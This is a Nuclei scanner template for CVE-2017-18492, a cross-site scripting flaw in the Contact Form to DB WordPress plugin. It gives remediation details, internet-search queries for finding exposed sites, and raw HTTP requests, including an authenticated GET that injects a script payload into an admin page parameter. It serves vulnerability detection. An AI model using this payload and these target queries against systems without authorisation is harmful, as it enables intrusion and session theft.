id: CVE-2017-18492

info:
  name: Contact Form to DB by BestWebSoft < 1.5.7 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The contact-form-to-db plugin before 1.5.7 for WordPress has multiple XSS issues.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to version 1.5.7 or later.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18492
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18492
    - https://wordpress.org/plugins/contact-form-to-db/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18492
    cwe-id: CWE-79
    epss-score: 0.01458
    epss-percentile: 0.70104
    cpe: cpe:2.3:a:bestwebsoft:contact_form_to_db:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: contact_form_to_db
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/contact-form-to-db/
    fofa-query: body=/wp-content/plugins/contact-form-to-db/
    publicwww-query: "/wp-content/plugins/contact-form-to-db/"
  tags: cve2017,cve,wordpress,wpscan,bws-contact-form,wp-plugin,xss,authenticated,bestwebsoft,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/contact-form-to-db/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Contact Form to DB by")'
        condition: and
# digest: 490a004630440220454c322c7c963a27ec928fa6c90dfbdae221ea9b27e8d189e6a031e63c6cc37902201ec2942d3f686e85e4a887ae5b472e6b58a9adae4317b37c3a3dd122623ef66f:922c64590222798bb761d5b6d8e72950